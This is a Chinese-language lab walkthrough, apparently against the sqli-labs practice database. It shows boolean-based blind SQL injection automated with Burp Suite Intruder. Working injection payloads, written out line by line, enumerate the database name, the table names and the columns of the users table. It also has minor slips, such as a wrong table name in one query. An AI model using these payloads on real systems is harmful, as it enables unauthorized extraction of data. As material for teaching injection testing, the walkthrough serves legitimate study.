BurpSuite 自动化盲注

判断注入类型:

利用 ?id=1' and 1=1 --+ 页面回显正常

判断1.PNG

利用 ?id=1' and 1=2 --+ 页面回显异常,所以该题为单引号注入

判断2.PNG

获取数据库:

先判断数据库名的长度是多少,使用语句 ?id=1' and length(database())=1 --+,用BrupSuite截取进行爆破获知长度是 8 ,这里只需将 1 设为变量即可

数据库长度1.PNG数据库长度2.PNG
数据库长度为8.PNG

使用语句 ?id=1' and substr(database(),1,1)='a' --+ 判断数据库名的字符,这里将 1 和 a 设为变量,第一位变量设到8即可,因为已经得知长度为8,最后得到数据库为 ‘security’

数据库1.PNG
数据库长度2.PNG
数据库.PNG

获取数据库表:

判断数据库表的数量,使用语句 ?id=1' and (select count(*) from information_schema.tables where table_schema="security") = 1 --+ 得知数据库表有4个,这里将 1 设为变量

表数量1.PNG表数量2.PNG
表数量.PNG

然后判断数据库表的长度,使用语句 ?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=1--+ 获知分别为6、8、7、5,这里将0,1设为变量即可

表长度1.PNG表长度2.PNG表长度3.PNG
表的长度.PNG

接着获取数据库表名,要获取数据库表名的字符,使用语句 ?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a' --+ 获知四个表分别为email 、referers、uagents、users,这里将0,1,a设为变量,因为已经知道有四个表和最大长度为8,如下图

表名1.PNG表名2.PNG表名3.PNG表名4.PNG
表名字.PNG

获取字段数:

因为users是最终需要的,所以只使用users表,使用语句 ?id=1' and (select count(*) from information_schema.columns where table_name="users")=1 --+ 获知字段数为 6,这里只将1设为变量即可

字段名字长度1.PNG
表字段数长度2.PNG
表字段数为6.PNG

接下来获取字段名字的长度,使用语句 ?id=1' and length((select column_name from information_schema.columns where table_name="user" limit 0,1))=1 --+ 获知4,4,11,11,11,这里将0,1设为变量即可

获取字段名字的长度1.PNG获取字段名字的长度2.PNG获取字段名字的长度3.PNG
表字段长度.PNG

最后获取字段名,使用语句 ?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0,1), 1,1))=1 --+ 获知字段名为 user CURRENT_CONNECTIONS TOTAL_CONNECTIONS id username password,这里将0,1,1设为变量即可

字段名1.PNG字段名2.PNG字段名3.PNG字段名4.PNG
表字段名.PNG